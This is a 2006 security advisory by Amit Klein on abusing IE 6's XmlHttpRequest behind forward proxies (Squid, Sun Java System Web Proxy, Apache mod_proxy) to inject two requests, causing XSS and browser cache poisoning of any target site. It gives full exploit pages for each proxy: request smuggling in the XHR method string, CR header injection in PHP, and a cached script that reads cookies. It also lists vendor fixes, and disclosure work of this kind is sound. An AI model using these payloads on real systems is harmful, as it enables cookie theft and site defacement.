IE + some popular forward proxy servers = XSS, defacement
(browser cache poisoning)

                       Or

 "Exploiting the XmlHttpRequest object in IE" part II

               Amit Klein, May 2006

Preface

When I published my Exploiting the XmlHttpRequest object in IE -
Referrer spoofing and a lot more…" [1] paper, I only mentioned
an important attack vector in 1-2 sentences. To quote: "This may
enable the attacker to conduct various cross-domain attacks
(XSS), and this is in fact demonstrated for Firefox in [4] (but I
haven't tested it on IE)."

Well, finally I found the time to demonstrate this vector on IE,
with several popular forward proxy servers. The results are quite
powerful, and indicate that the vulnerability is more serious
than perhaps realized earlier.

Introduction

In this write-up, I demonstrate how the security issue discussed
in [1] can be exploited to force an XSS condition and/or a
browser cache poisoning condition in IE 6.0 SP2, provided it is
configured to use a forward proxy server (the attack was verified
on Squid 2.5.STABLE10-NT, Apache/2.0.55 mod_proxy and Sun Java
System Web Proxy Server 4.0 [AKA SunONE proxy 4.0]) but I believe
it would practically work on almost all forward proxy servers,
possibly up to some tweaking in the exploitation code).

The root cause is the fact that 2 requests can be injected via
the XmlHttpRequest object (henceforth XHR; a key component of the
AJAX technology), coupled with the fact that IE sends requests
for different hosts on the same TCP connection when it uses a
forward proxy server.

The attack idea is simple: the user visits the malicious website,
and it, using an XHR object, injects 2 requests (where the
browser thinks only one request is present) through the proxy
server, to the malicious website. The proxy sends back 2
responses, the browser consumes one for the XHR object, and then
the malicious Javascript code forces the browser to send another
request (to the target website). This request is then matched to
the 2nd response (queued at the browser response queue), and thus
we have the XSS condition and the browser cache poisoning
condition (which is effectively a "local defacement", at the
browser level).

The XSS vector was in fact outlined by Yutaka Oiwa for FireFox
1.0.6 in [2] - and that advisory was also originally referenced
in [1], yet it is unclear whether Yutaka Oiwa actually lab-tested
this particular XSS (and browser cache poisoning) attack.

Please note: this is not a new vulnerability per-se; the basic
exploitation was discussed in [1] (and in [2] for FireFox) almost
8 months ago. And the basic flaw in IE's implementation of XHR
was discussed in [3] over THREE years ago. This is merely a
demonstration of possible outcomes (=attack vectors). Yet I think
that their gravity justifies this write-up.

Also note that for brevity's sake, I don't discuss other vectors,
such as stealing credentials (including basic HTTP authentication
credentials and HttpOnly cookies). That vector was also mentioned
in [2] (for FireFox).

The basic scenario - demonstrated with Squid 2.5.STABLE10-NT

In essence, the attack comprises of setting up a malicious server
(www.evil.site) with 3 pages (http://www.evil.site/1.html,
http://www.evil.site/2.html and http://www.evil.site/3.html). In
this case, the pages are pure, static HTML pages. The pages will
be detailed below; the victim (IE user) is handed a link to the
first page, i.e. http://www.evil.site/1.html. Upon clicking this
link, an XSS condition is incurred, as well as a local
defacement, to the website URL embedded in
http://www.evil.site/1.html (in this paper's example, it's
http://www.target.site/). As can be appreciated, this has serious
implications on www.target.site - while this site can be totally
secure, still there's an XSS condition enabling the attacker to
steal credentials, etc. Moreover, the browser caches the spoofed
www.target.site page, so every subsequent access to
http://www.target.site/ by this IE user results in displaying the
spoofed page.

Here are the 3 pages needed:

http://www.evil.site/1.html:

<html>
<body>
<script>
var x = new ActiveXObject("Microsoft.XMLHTTP");
x.open("GET\thttp://www.evil.site/2.html\tHTTP/1.1\r\nHost:\twww.evil.site\r\nProxy-
Connection:\tKeep-Alive\r\n\r\nGET","/3.html",false);
x.send();
window.open("http://www.target.site/&quot;&#41;;
</script>
</body>
</html>

http://www.evil.site/2.html:

<html>
<body>
foo
</body>
</html>

http://www.evil.site/3.html:

<html>
<head>
<meta http-equiv="Expires" content="Wed, 01 Jan 2020 00:00:00 GMT">
<meta http-equiv="Cache-Control" content="public">
<meta http-equiv="Last-Modified" content="Fri, 01 Jan 2010 00:00:00 GMT">
</head>
<body>
<script>
alert("DEFACEMENT and XSS: your cookie is"+document.cookie)
</script>
</body>
</html>

Notice the Proxy-Connection: Keep-Alive header inserted to the
request stream in 1.html - for some reason, Squid does not
maintain HTTP connection persistence unless this header is
provided in the request (even when the request is in HTTP/1.1).

The attack flow is as following:

1. The browser loads 1.html, invokes the XHR object, and sends
   what it thinks is a single request (with weird method, to
   http://www.evil.site/3.html&#41;. This stream is sent to Squid.
2. Squid parses the stream, sees the first HTTP request - to
   http://www.evil.site/2.html. It serves this request, which
   is a dummy page.
3. Squid then sees the second HTTP request in the stream, this
   time to http://www.evil.site/3.html. It serves this request
   as well.
4. The browser reads the first request from the response
   stream. It is the content of http://www.evil.site/2.html,
   which the browser matches to the XHR object request.
5. The browser then proceeds with the Javascript execution in
   1.html, and it sends a request to http://www.target.site/.
   This is immediately matched to the second proxy response,
   i.e. to the content of http://www.evil.site/3.html. Thus,
   http://www.evil.site/3.html is considered by the browser to
   be http://www.target.site/, with XSS condition and browser
   cache poisoning condition as a consequence.

Regarding the various cache related headers in
http://www.evil.site/3.html, and regarding the longevity of the
browser cache poisoning (local defacement) attack, see [6].

Sun Java System Web Proxy Server 4.0

Basically the exploit for Sun Java System Web Proxy Server 4.0 is
very similar to the one used for Squid. The only differences are
that Java System Web Proxy Server 4.0 does not support HTTP
connection persistence for HTTP/1.0 requests, and it doesn't need
the Proxy-Connection: Keep-Alive header for HTTP/1.1 requests. So
this can be safely removed from 1.html (but can just as well be
kept there).

A more problematic aspect of Sun Java System Web Proxy Server 4.0
is the fact that it doesn't send the Proxy-Connection: Keep-Alive
header in the response. This makes IE believe that the proxy
wants to terminate the connection (IE, after all, assumes that
the connection is HTTP/1.0, whose default is to close the
connection). One can overcome this by forcing this header with
the pages sent out, i.e. with 2.html and 3.html. This is a simple
matter of replacing 2.html and 3.html with dynamic pages (e.g.
ASP, PHP, etc.) that add "Proxy-Connection: Keep-Alive" to the
response headers.

The exploit would be as following (assuming ASP):

http://www.evil.site/1.html:

<html>
<body>
<script>
var x = new ActiveXObject("Microsoft.XMLHTTP");

x.open("GET\thttp://www.evil.site/2.asp\tHTTP/1.1\r\nHost:\twww.evil.site\r\n\r\nGET\thttp:
//www.evil.site/3.asp\tHTTP/1.1\r\nFoo:","bar",false);
x.send();
window.open("http://www.target.site/&quot;&#41;;
</script>
</body>
</html>

http://www.evil.site/2.asp:
<%
Response.addHeader "Proxy-Connection","Keep-Alive"
%>
<html>
<body>
foo
</body>
</html>

http://www.evil.site/3.asp:

<%
Response.addHeader "Proxy-Connection","Keep-Alive"
%>
<html>
<head>
<meta http-equiv="Expires" content="Wed, 01 Jan 2020 00:00:00 GMT">
<meta http-equiv="Cache-Control" content="public">
<meta http-equiv="Last-Modified" content="Fri, 01 Jan 2010 00:00:00 GMT">
</head>
<body>
<script>
alert("DEFACEMENT and XSS: your cookie is"+document.cookie)
</script>
</body>
</html>

Obviously, ASP is not essential for this attack, it can be
realized with any method that can add the Proxy-Connection: Keep-
Alive to the response headers of the second and third pages.

The above attack outline was indeed verified with Sun Java System
Web Proxy Server 4.0.

A more complex scenario - Apache/2.0.55 mod_proxy

Apache/2.0.55 mod_proxy is somewhat similar to Sun Java System
Web Proxy Server 4.0 in that it doesn't send out Proxy-
Connection: Keep-Alive. Also for some reason, it seems that
Apache/2.0.55 is faster than Sun Java System Web Proxy Server 4.0
and Squid 2.5, and thus the second response (to 2.html) appears
in the end of the 1024 bytes buffer read by IE with the first
response (for a detailed discussion of how IE handles the
response stream, please refer to [4]). This means we need to pad
3.html to a buffer boundary, taking into consideration all the
response for 2.html as well.

The only thing left is to force Apache mod_proxy to send out
Proxy-Connection: Keep-Alive header. This turns out to be not
quite trivial. Just sending this header as part of the response
from www.evil.site (as shown above with Sun Java System Web Proxy
Server 4.0) is not enough - Apache mod_proxy actively strips out
this header. A more sophisticated approach should be taken,
calling to aid the techniques developed in [5]. The solution is
to arrange for the response from www.evil.site to include a
header sequence with a CR instead of CRLF:

Foo: bar CR Proxy-Connection: Keep-Alive

Thereby arriving at the desired scenario: Apache mod_proxy
understands this as a Foo header, thus not stripping it away,
while IE understands this as two headers - Foo: bar and Proxy-
Connection: Keep-Alive.

With PHP, this can be realized as following:

<?php
header("Foo: bar\rProxy-Connection: Keep-Alive");
?>
<html>
<body>
foo
</body>
</html>

Of course, as recommended in [5], PHP shouldn't be allowed to
inject CR in the header function, but this is immaterial -
remember that www.evil.site is fully controlled by the attacker,
and this functionality can be implemented in Perl, or even via a
customized web server.

This is enough for the XSS condition, but not for browser cache
defacement. That's due to the fact that there is no Proxy-
Connection: Keep-Alive in the response to
http://www.target.site/, and again, IE waits until the connection
is terminated. It seems that this prevents IE from caching the
resource. Overcoming that is a simple matter of adding this
header to 3.html.

The working exploit is, therefore:

http://www.evil.site/1.html:

<html>
<body>
<script>
var x = new ActiveXObject("Microsoft.XMLHTTP");

x.open("GET\thttp://www.evil.site/2.php\tHTTP/1.1\r\nHost:\twww.evil.site\r\n\r\nGET\thttp:
//www.evil.site/3.html\tHTTP/1.1\r\nFoo:","/bar",false);
x.send();
window.open("http://www.target.site/&quot;&#41;;
</script>
</body>
</html>

http://www.evil.site/2.php:

<?php
header("Foo: bar\rProxy-Connection: Keep-Alive");
?>
<html>
<body>
foo
</body>
</html>

http://www.evil.site/3.html:
[padding to 1024 bytes including the response to the previous
request]
HTTP/1.1 200 OK
Content-Length: 114
Content-Type: text/html
Cache-Control: public
Expires: Wed, 01 Jan 2020 00:00:00 GMT
Last-Modified: Wed, 17 May 2006 00:00:00 GMT
Proxy-Connection: Keep-Alive

<html>
<body>
<script>
alert("DEFACEMENT and XSS: your cookie is"+document.cookie)
</script>
</body>
</html>

The above attack outline was indeed verified with Apache 2.0.55
mod_proxy.

Recommendations

Mostly quoted almost as-is from [1]:

Site owners

• Use SSL (as always).

Vendors

• Microsoft is encouraged to filter HT, CR and LF in the method
  parameter of XHR (HT filtering was recommended in [3] over 3
  years ago). Other browser vendors are encouraged to check whether
  their implementation is vulnerable.

• Proxy server vendors are encouraged not to allow raw HT in
  the request line.

• Microsoft (and other HTTP client vendors - browsers and proxy
  servers alike) is encouraged not to share a single TCP connection
  to the server for requests to different hosts when IE uses a
  forward proxy server.

Summary

While this is not a new vulnerability, and in some sense not even
a new attack vector, the net effect demonstrated here is
disturbing to say the least: IE with the latest service pack,
when used with many popular forward proxy servers (which is, I
believe, quite a common scenario - think corporate America,
universities, some ISPs), is vulnerable to XSS (regardless of the
target website) and "local defacement".

References

[1] "Exploiting the XmlHttpRequest object in IE - Referrer spoofing,
and a lot more…", Amit Klein, September 2005
http://www.securityfocus.com/archive/1/411585

[2] "setRequestHeader can be exploited using newline characters",
Bugzilla bug 297078
https://bugzilla.mozilla.org/show_bug.cgi?id=297078#c12 (Yutaka
Oiwa's advisory)

[3] "XS(T) attack variants which in some cases, eliminate the
need for TRACE", Amit Klein, WebAppSec mailing list submission,
January 26th, 2003
http://www.securityfocus.com/archive/107/308433

[4] "Divide and Conquer - HTTP Response Splitting, Web Cache
poisoning and Related Topics", Amit Klein, March 2004
http://www.packetstormsecurity.org/papers/general/whitepaper_httpresponse.pdf

[5] "HTTP Response Smuggling", Amit Klein, March 2006
http://www.securityfocus.com/archive/1/425593

[6] "Domain Contamination", Amit Klein, February 2006
http://www.webappsec.org/projects/articles/020606.txt